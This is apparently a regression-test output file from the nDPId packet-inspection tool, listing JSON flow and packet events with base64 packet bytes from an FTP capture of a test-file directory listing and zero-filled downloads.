+00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":37,"source":"ftp.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1552590236580,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.212","dst_ip":"90.130.70.73","src_port":50695,"dst_port":25685,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590236,"pkt_ts_usec":580045,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2xCwDBkn+CABFAABAAABAAEAGAADAqAHUWoJGScYHZFXuwKKMAAAAALAC\/\/9jegAAAgQFtAEDAwUBAQgKO1efIQAAAAAEAgAA"} +00432{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590236,"pkt_ts_usec":608252,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xCwDBkn+EBMx8Tl2CABFAAA8AABAADYG4XRagkZJwKgB1GRVxgdmK2Nw7sCijaASqbDL3QAAAgQFrAQCCAoSZ\/zzO1efIQEDAw4="} +00420{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":39,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590236,"pkt_ts_usec":608298,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2xCwDBkn+CABFAAA0AABAAEAGAADAqAHUWoJGScYHZFXuwKKNZitjcYAQECxjbgAAAQEICjtXnzkSZ\/zz"} +02034{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590236,"pkt_ts_usec":637965,"pkt_caplen":1271,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1271,"pkt_l4_len":1237,"pkt":"xCwDBkn+EBMx8Tl2CABFAATpn4tAADYGPTxagkZJwKgB1GRVxgdmK2Nx7sCijYAYAAMMxgAAAQEIChJn\/Po7V585LXJ3LXItLXItLSAgICAxIDAgICAgICAgIDAgICAgICAgIDEwNzM3NDE4MjQwMDAgRmViIDE5ICAyMDE2IDEwMDBHQi56aXANCi1ydy1yLS1yLS0gICAgMSAwICAgICAgICAwICAgICAgICAxMDczNzQxODI0MDAgRmViIDE5ICAyMDE2IDEwMEdCLnppcA0KLXJ3LXItLXItLSAgICAxIDAgICAgICAgIDAgICAgICAgICAgMTAyNDAwIEZlYiAxOSAgMjAxNiAxMDBLQi56aXANCi1ydy1yLS1yLS0gICAgMSAwICAgICAgICAwICAgICAgICAxMDQ4NTc2MDAgRmViIDE5ICAyMDE2IDEwME1CLnppcA0KLXJ3LXItLXItLSAgICAxIDAgICAgICAgIDAgICAgICAgIDEwNzM3NDE4MjQwIEZlYiAxOSAgMjAxNiAxMEdCLnppcA0KLXJ3LXItLXItLSAgICAxIDAgICAgICAgIDAgICAgICAgIDEwNDg1NzYwIEZlYiAxOSAgMjAxNiAxME1CLnppcA0KLXJ3LXItLXItLSAgICAxIDAgICAgICAgIDAgICAgICAgIDEwNzM3NDE4MjQgRmViIDE5ICAyMDE2IDFHQi56aXANCi1ydy1yLS1yLS0gICAgMSAwICAgICAgICAwICAgICAgICAgICAgMTAyNCBGZWIgMTkgIDIwMTYgMUtCLnppcA0KLXJ3LXItLXItLSAgICAxIDAgICAgICAgIDAgICAgICAgICAxMDQ4NTc2IEZlYiAxOSAgMjAxNiAxTUIuemlwDQotcnctci0tci0tICAgIDEgMCAgICAgICAgMCAgICAgICAgMjA5NzE1MjAwIEZlYiAxOSAgMjAxNiAyMDBNQi56aXANCi1ydy1yLS1yLS0gICAgMSAwICAgICAgICAwICAgICAgICAyMDk3MTUyMCBGZWIgMTkgIDIwMTYgMjBNQi56aXANCi1ydy1yLS1yLS0gICAgMSAwICAgICAgICAwICAgICAgICAgMjA5NzE1MiBGZWIgMTkgIDIwMTYgMk1CLnppcA0KLXJ3LXItLXItLSAgICAxIDAgICAgICAgIDAgICAgICAgICAzMTQ1NzI4IEZlYiAxOSAgMjAxNiAzTUIuemlwDQotcnctci0tci0tICAgIDEgMCAgICAgICAgMCAgICAgICAgNTI0Mjg4MDAwIEZlYiAxOSAgMjAxNiA1MDBNQi56aXANCi1ydy1yLS1yLS0gICAgMSAwICAgICAgICAwICAgICAgICA1MjQyODgwMCBGZWIgMTkgIDIwMTYgNTBNQi56aXANCi1ydy1yLS1yLS0gICAgMSAwICAgICAgICAwICAgICAgICAgIDUyNDI4OCBGZWIgMTkgIDIwMTYgNTEyS0IuemlwDQotcnctci0tci0tICAgIDEgMCAgICAgICAgMCAgICAgICAgIDUyNDI4ODAgRmViIDE5ICAyMDE2IDVNQi56aXANCmRyd3hyLXhyLXggICAgMiAxMDUgICAgICAxMDggICAgICAgICAxNjM4NCBNYXIgMTQgMjA6MDMgdXBsb2FkDQo="} +00550{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":43,"source":"ftp.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":4,"flow_first_seen":1552590236580,"flow_last_seen":1552590236637,"flow_tot_l4_data_len":1353,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1237,"flow_avg_l4_data_len":338,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.212","dst_ip":"90.130.70.73","src_port":50695,"dst_port":25685,"l4_proto":"tcp","ndpi": {"proto":"FTP_DATA","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"}} +00420{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590236,"pkt_ts_usec":637967,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xCwDBkn+EBMx8Tl2CABFAAA0n4xAADYGQfBagkZJwKgB1GRVxgdmK2gm7sCijYARAAOfgQAAAQEIChJn\/Po7V585"} +00420{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":45,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590236,"pkt_ts_usec":638000,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2xCwDBkn+CABFCAA0AABAAEAGAADAqAHUWoJGScYHZFXuwKKNZitoJoAQEAZjbgAAAQEICjtXn1USZ\/z6"} +00420{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590236,"pkt_ts_usec":638001,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2xCwDBkn+CABFCAA0AABAAEAGAADAqAHUWoJGScYHZFXuwKKNZitoJ4AQEAZjbgAAAQEICjtXn1USZ\/z6"} +00420{"flow_id":2,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":47,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590236,"pkt_ts_usec":638093,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2xCwDBkn+CABFCAA0AABAAEAGAADAqAHUWoJGScYHZFXuwKKNZitoJ4AREAZjbgAAAQEICjtXn1USZ\/z6"} +00420{"flow_id":2,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590236,"pkt_ts_usec":666222,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xCwDBkn+EBMx8Tl2CABFAAA0n41AADYGQe9agkZJwKgB1GRVxgdmK2gn7sCijoAQAAOfXAAAAQEIChJn\/QI7V59V"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":66,"source":"ftp.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1552590241545,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.212","dst_ip":"90.130.70.73","src_port":50696,"dst_port":24523,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":66,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590241,"pkt_ts_usec":545143,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2xCwDBkn+CABFAABAAABAAEAGAADAqAHUWoJGScYIX8sNBxpOAAAAALAC\/\/9jegAAAgQFtAEDAwUBAQgKO1eyYgAAAAAEAgAA"} +00432{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590241,"pkt_ts_usec":573913,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xCwDBkn+EBMx8Tl2CABFAAA8AABAADYG4XRagkZJwKgB1F\/LxggMTnkwDQcaT6ASqbBmYgAAAgQFrAQCCAoSaAHMO1eyYgEDAw4="} +00419{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590241,"pkt_ts_usec":573957,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2xCwDBkn+CABFAAA0AABAAEAGAADAqAHUWoJGScYIX8sNBxpPDE55MYAQECxjbgAAAQEICjtXsn0SaAHM"} +02346{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":72,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590241,"pkt_ts_usec":603492,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xCwDBkn+EBMx8Tl2CABFAAXUeONAADYGYvlagkZJwKgB1F\/LxggMTn7RDQcaT4AQAAMzeQAAAQEIChJoAdM7V7J9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00435{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":73,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590241,"pkt_ts_usec":603523,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2xCwDBkn+CABFCABAAABAAEAGAADAqAHUWoJGScYIX8sNBxpPDE55MbAQECxjegAAAQEICjtXspoSaAHMAQEFCgxOftEMToRx"} +02346{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":74,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590241,"pkt_ts_usec":603773,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xCwDBkn+EBMx8Tl2CABFAAXUeOJAADYGYvpagkZJwKgB1F\/LxggMTnkxDQcaT4AQAAM5GQAAAQEIChJoAdM7V7J9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00419{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":75,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590241,"pkt_ts_usec":603807,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2xCwDBkn+CABFCAA0AABAAEAGAADAqAHUWoJGScYIX8sNBxpPDE6EcYAQD9JjbgAAAQEICjtXspoSaAHT"} +02346{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":76,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590241,"pkt_ts_usec":604370,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xCwDBkn+EBMx8Tl2CABFAAXUeORAADYGYvhagkZJwKgB1F\/LxggMToRxDQcaT4AQAAMt2QAAAQEIChJoAdM7V7J9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00419{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":77,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590241,"pkt_ts_usec":604415,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2xCwDBkn+CABFCAA0AABAAEAGAADAqAHUWoJGScYIX8sNBxpPDE6KEYAQEABjbgAAAQEICjtXspoSaAHT"} +02347{"flow_id":3,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":78,"source":"ftp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1552590241,"pkt_ts_usec":604710,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xCwDBkn+EBMx8Tl2CABFAAXUeOVAADYGYvdagkZJwKgB1F\/LxggMTooRDQcaT4AQAAMoOQAAAQEIChJoAdM7V7J9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA